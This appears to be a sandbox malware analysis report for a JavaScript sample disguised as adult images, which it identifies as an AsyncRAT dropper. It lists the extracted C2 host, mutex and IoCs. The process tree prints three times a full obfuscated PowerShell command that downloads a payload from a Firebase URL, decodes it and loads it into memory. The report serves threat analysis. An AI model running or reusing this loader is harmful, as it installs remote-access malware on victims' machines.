Analysis

  • max time kernel
    299s
  • max time network
    298s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/09/2026, 14:01

General

  • Target
    Imags-AngelaWhite-suckng/Imags-AngelaWhite-suckng.js
  • Size 437KB
  • Sample260903-rbh29avvb1
  • SHA256 1bea9b751634a0e1ca423246d8f9e4712b0d35e2a08e1da5cccfe6f9b9555040
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/traffic2%2FMikxing.png?alt=media&token=413e34ab-2e11-457e-b2db-d51c4f660b85

  • exe.dropper

    https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/traffic2%2FMikxing.png?alt=media&token=413e34ab-2e11-457e-b2db-d51c4f660b85

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • Densho

C2
  • spongebob.dynuddns.net:6060

Mutex
  • fewhtgbhtrb

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Imags-AngelaWhite-suckng\Imags-AngelaWhite-suckng.js
    1⤵
    • Badlisted process makes network request
    PID:3600
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $reviled = ''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/traffic2%2FMikxing.png?alt=media&token=413e34ab-2e11-457e-b2db-d51c4f660b85''; Add-Type -AssemblyName System.Net.Http; $PGSEM = New-Object System.Net.CookieContainer; $carbothermal = New-Object System.Net.Http.HttpClientHandler; $carbothermal.AllowAutoRedirect = $true; $carbothermal.CookieContainer = $PGSEM; $fascist = New-Object System.Net.Http.HttpClient($carbothermal); $fascist.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $consents = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $reviled); $noiseless = $fascist.SendAsync($consents).GetAwaiter().GetResult(); $barefooted = $noiseless.Content.Headers.ContentLength; if ($null -eq $barefooted) { $barefooted = 5000000; } $originant = [Math]::Min($barefooted, 3000000); $Omdurman = [Math]::Max(0, $barefooted - $originant); $irrelevantly = $barefooted - 1; $colas = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $reviled); $colas.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($Omdurman, $irrelevantly); $cakes = $fascist.SendAsync($colas).GetAwaiter().GetResult(); [byte[]]$Machen = $cakes.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $fandub = [System.Text.Encoding]::ASCII.GetString($Machen); } catch { $trivialize = (New-Object System.Net.WebClient).DownloadString($reviled); $fandub = $trivialize; } $wienerwurst=''IN-''; $acitretin=''-in1''; $proteoplasts = [string]::IndexOf($fandub, $wienerwurst); $brosy = $fandub.LastIndexOf($acitretin); if($proteoplasts -eq -1 -or $brosy -eq -1){return}; $tarnished = $proteoplasts + $wienerwurst.Length; $hauranitic = $fandub.Substring($fandub.IndexOf($wienerwurst) + $wienerwurst.Length, $brosy - ($fandub.IndexOf($wienerwurst) + $wienerwurst.Length)); $hydralike = $hauranitic.Replace(''*'',''A'').ToCharArray(); $scandalisation = -join $hydralike[($hydralike.Length - 1)..0]; $arrhemon = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$trenchmaster = $arrhemon.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$scandalisation)); $sandat = [AppDomain]::(''CurrentDomain''); $topazolite = $sandat.GetType().GetMethod(''Load'', [byte[]]); $duction = $topazolite.Invoke($sandat, (,$trenchmaster)); $polysepalous = (''/hAwdaXQJGq8tBbARTTXMx9WGaVmsNPdmHuBJ51oX+nNp1Pb+jB0IErxniO27Bu/KxOKudhFTnLTvVI880+vp3FGve9Vok0fBD25qDFcne3iHOMZ/QPTv3CC1lu6NLSWSwOkB4tirO4CCPr6Z4mQYT5h/tQsCu57bxUtNErcfUJ5WSMyTXJOBOqF8aNxvl859Wto1HLuR7RXfjGeadny7gvAk+XF96gQQoWmJNMWpdI='','''',''axGmTzD7bGrS7HFrhCelPByaImtdiGVoUfPG7SscbekztFPGIwJJqCZ3FmGRt4EF'',''YS8B0jH+2BtX4/tU9MbsPFqsYWjktHyYNkoPt3XWiS0='',''H2SNj/46v0XSJGQZtKf0kRtiCRCsBLkkDexASu9MnwU='','''',''oKaWyVckRFFvakpyF6dgFqbl20wfYkDcoNEpHOtutnw='','''','''',''eTPKUKm70o+0Cdco1MdfRyRUfQ+B3j+h/FCqhBcA6hfRDJ4bj9LEEMp0D5vcOqU+'',''SSCJ1fYSAisgDu7Qv9jONL2oyg3dP0Gs8HtT+dpr9vo='',''ijU7WXYH/q0fEZMMNbbeVYuDTEztLOd2Wh6rnoRcYhg='',''pc2+lKRVFwhDnxegs5UnczQBlrej2/SD4N3hro56odY='','''',''kKjPH2YO5e4Ny35dmn1ZWl/eiK8v7MGmt66XGvHIur0='',''cKVGZJKRpgMhAqyOSh/pVlAcdnYcCCF14c3QMTEdqrY='','''','''',''''); try { $ceryl = ($duction.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $subminimum = ($ceryl.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $subminimum.Invoke($null, [object[]]$polysepalous); } catch {} finally { if ($null -ne $fascist) { $fascist.Dispose() } }'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3172
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $reviled = ''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/traffic2%2FMikxing.png?alt=media&token=413e34ab-2e11-457e-b2db-d51c4f660b85''; Add-Type -AssemblyName System.Net.Http; $PGSEM = New-Object System.Net.CookieContainer; $carbothermal = New-Object System.Net.Http.HttpClientHandler; $carbothermal.AllowAutoRedirect = $true; $carbothermal.CookieContainer = $PGSEM; $fascist = New-Object System.Net.Http.HttpClient($carbothermal); $fascist.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $consents = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $reviled); $noiseless = $fascist.SendAsync($consents).GetAwaiter().GetResult(); $barefooted = $noiseless.Content.Headers.ContentLength; if ($null -eq $barefooted) { $barefooted = 5000000; } $originant = [Math]::Min($barefooted, 3000000); $Omdurman = [Math]::Max(0, $barefooted - $originant); $irrelevantly = $barefooted - 1; $colas = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $reviled); $colas.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($Omdurman, $irrelevantly); $cakes = $fascist.SendAsync($colas).GetAwaiter().GetResult(); [byte[]]$Machen = $cakes.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $fandub = [System.Text.Encoding]::ASCII.GetString($Machen); } catch { $trivialize = (New-Object System.Net.WebClient).DownloadString($reviled); $fandub = $trivialize; } $wienerwurst=''IN-''; $acitretin=''-in1''; $proteoplasts = [string]::IndexOf($fandub, $wienerwurst); $brosy = $fandub.LastIndexOf($acitretin); if($proteoplasts -eq -1 -or $brosy -eq -1){return}; $tarnished = $proteoplasts + $wienerwurst.Length; $hauranitic = $fandub.Substring($fandub.IndexOf($wienerwurst) + $wienerwurst.Length, $brosy - ($fandub.IndexOf($wienerwurst) + $wienerwurst.Length)); $hydralike = $hauranitic.Replace(''*'',''A'').ToCharArray(); $scandalisation = -join $hydralike[($hydralike.Length - 1)..0]; $arrhemon = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$trenchmaster = $arrhemon.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$scandalisation)); $sandat = [AppDomain]::(''CurrentDomain''); $topazolite = $sandat.GetType().GetMethod(''Load'', [byte[]]); $duction = $topazolite.Invoke($sandat, (,$trenchmaster)); $polysepalous = (''/hAwdaXQJGq8tBbARTTXMx9WGaVmsNPdmHuBJ51oX+nNp1Pb+jB0IErxniO27Bu/KxOKudhFTnLTvVI880+vp3FGve9Vok0fBD25qDFcne3iHOMZ/QPTv3CC1lu6NLSWSwOkB4tirO4CCPr6Z4mQYT5h/tQsCu57bxUtNErcfUJ5WSMyTXJOBOqF8aNxvl859Wto1HLuR7RXfjGeadny7gvAk+XF96gQQoWmJNMWpdI='','''',''axGmTzD7bGrS7HFrhCelPByaImtdiGVoUfPG7SscbekztFPGIwJJqCZ3FmGRt4EF'',''YS8B0jH+2BtX4/tU9MbsPFqsYWjktHyYNkoPt3XWiS0='',''H2SNj/46v0XSJGQZtKf0kRtiCRCsBLkkDexASu9MnwU='','''',''oKaWyVckRFFvakpyF6dgFqbl20wfYkDcoNEpHOtutnw='','''','''',''eTPKUKm70o+0Cdco1MdfRyRUfQ+B3j+h/FCqhBcA6hfRDJ4bj9LEEMp0D5vcOqU+'',''SSCJ1fYSAisgDu7Qv9jONL2oyg3dP0Gs8HtT+dpr9vo='',''ijU7WXYH/q0fEZMMNbbeVYuDTEztLOd2Wh6rnoRcYhg='',''pc2+lKRVFwhDnxegs5UnczQBlrej2/SD4N3hro56odY='','''',''kKjPH2YO5e4Ny35dmn1ZWl/eiK8v7MGmt66XGvHIur0='',''cKVGZJKRpgMhAqyOSh/pVlAcdnYcCCF14c3QMTEdqrY='','''','''',''''); try { $ceryl = ($duction.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $subminimum = ($ceryl.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $subminimum.Invoke($null, [object[]]$polysepalous); } catch {} finally { if ($null -ne $fascist) { $fascist.Dispose() } }'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2840
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $reviled = ''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/traffic2%2FMikxing.png?alt=media&token=413e34ab-2e11-457e-b2db-d51c4f660b85''; Add-Type -AssemblyName System.Net.Http; $PGSEM = New-Object System.Net.CookieContainer; $carbothermal = New-Object System.Net.Http.HttpClientHandler; $carbothermal.AllowAutoRedirect = $true; $carbothermal.CookieContainer = $PGSEM; $fascist = New-Object System.Net.Http.HttpClient($carbothermal); $fascist.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $consents = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $reviled); $noiseless = $fascist.SendAsync($consents).GetAwaiter().GetResult(); $barefooted = $noiseless.Content.Headers.ContentLength; if ($null -eq $barefooted) { $barefooted = 5000000; } $originant = [Math]::Min($barefooted, 3000000); $Omdurman = [Math]::Max(0, $barefooted - $originant); $irrelevantly = $barefooted - 1; $colas = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $reviled); $colas.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($Omdurman, $irrelevantly); $cakes = $fascist.SendAsync($colas).GetAwaiter().GetResult(); [byte[]]$Machen = $cakes.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $fandub = [System.Text.Encoding]::ASCII.GetString($Machen); } catch { $trivialize = (New-Object System.Net.WebClient).DownloadString($reviled); $fandub = $trivialize; } $wienerwurst=''IN-''; $acitretin=''-in1''; $proteoplasts = [string]::IndexOf($fandub, $wienerwurst); $brosy = $fandub.LastIndexOf($acitretin); if($proteoplasts -eq -1 -or $brosy -eq -1){return}; $tarnished = $proteoplasts + $wienerwurst.Length; $hauranitic = $fandub.Substring($fandub.IndexOf($wienerwurst) + $wienerwurst.Length, $brosy - ($fandub.IndexOf($wienerwurst) + $wienerwurst.Length)); $hydralike = $hauranitic.Replace(''*'',''A'').ToCharArray(); $scandalisation = -join $hydralike[($hydralike.Length - 1)..0]; $arrhemon = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$trenchmaster = $arrhemon.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$scandalisation)); $sandat = [AppDomain]::(''CurrentDomain''); $topazolite = $sandat.GetType().GetMethod(''Load'', [byte[]]); $duction = $topazolite.Invoke($sandat, (,$trenchmaster)); $polysepalous = (''/hAwdaXQJGq8tBbARTTXMx9WGaVmsNPdmHuBJ51oX+nNp1Pb+jB0IErxniO27Bu/KxOKudhFTnLTvVI880+vp3FGve9Vok0fBD25qDFcne3iHOMZ/QPTv3CC1lu6NLSWSwOkB4tirO4CCPr6Z4mQYT5h/tQsCu57bxUtNErcfUJ5WSMyTXJOBOqF8aNxvl859Wto1HLuR7RXfjGeadny7gvAk+XF96gQQoWmJNMWpdI='','''',''axGmTzD7bGrS7HFrhCelPByaImtdiGVoUfPG7SscbekztFPGIwJJqCZ3FmGRt4EF'',''YS8B0jH+2BtX4/tU9MbsPFqsYWjktHyYNkoPt3XWiS0='',''H2SNj/46v0XSJGQZtKf0kRtiCRCsBLkkDexASu9MnwU='','''',''oKaWyVckRFFvakpyF6dgFqbl20wfYkDcoNEpHOtutnw='','''','''',''eTPKUKm70o+0Cdco1MdfRyRUfQ+B3j+h/FCqhBcA6hfRDJ4bj9LEEMp0D5vcOqU+'',''SSCJ1fYSAisgDu7Qv9jONL2oyg3dP0Gs8HtT+dpr9vo='',''ijU7WXYH/q0fEZMMNbbeVYuDTEztLOd2Wh6rnoRcYhg='',''pc2+lKRVFwhDnxegs5UnczQBlrej2/SD4N3hro56odY='','''',''kKjPH2YO5e4Ny35dmn1ZWl/eiK8v7MGmt66XGvHIur0='',''cKVGZJKRpgMhAqyOSh/pVlAcdnYcCCF14c3QMTEdqrY='','''','''',''''); try { $ceryl = ($duction.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $subminimum = ($ceryl.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $subminimum.Invoke($null, [object[]]$polysepalous); } catch {} finally { if ($null -ne $fascist) { $fascist.Dispose() } }'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5520
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1836

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 0cb65a7d12726033bdb13f883e9c83146126ce1591c473d5473c174584fd0d6f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5e17131a0528100f1215374d3d458f80d853e8a0e9c95c7100da78409c0e1321
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_w25eutb5.f0p.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w25eutb5.f0p.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1752-34-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-30-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-43-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-13-0x00000250113C0000-0x00000250113E2000-memory.dmp

        memory/1752-35-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-32-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-33-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-31-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-26-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-27-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-28-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1752-29-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/1836-38-0x0000000000400000-0x0000000000412000-memory.dmp

        memory/2788-24-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-18-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-17-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-23-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-22-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-9-0x00007FFA5882F000-0x00007FFA58830000-memory.dmp

        memory/2788-49-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-10-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-21-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-14-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-25-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-44-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/2788-45-0x00007FFA586A0000-0x00007FFA59044000-memory.dmp

        memory/5520-37-0x000001D667240000-0x000001D66724A000-memory.dmp

        memory/5520-36-0x000001D6676C0000-0x000001D667772000-memory.dmp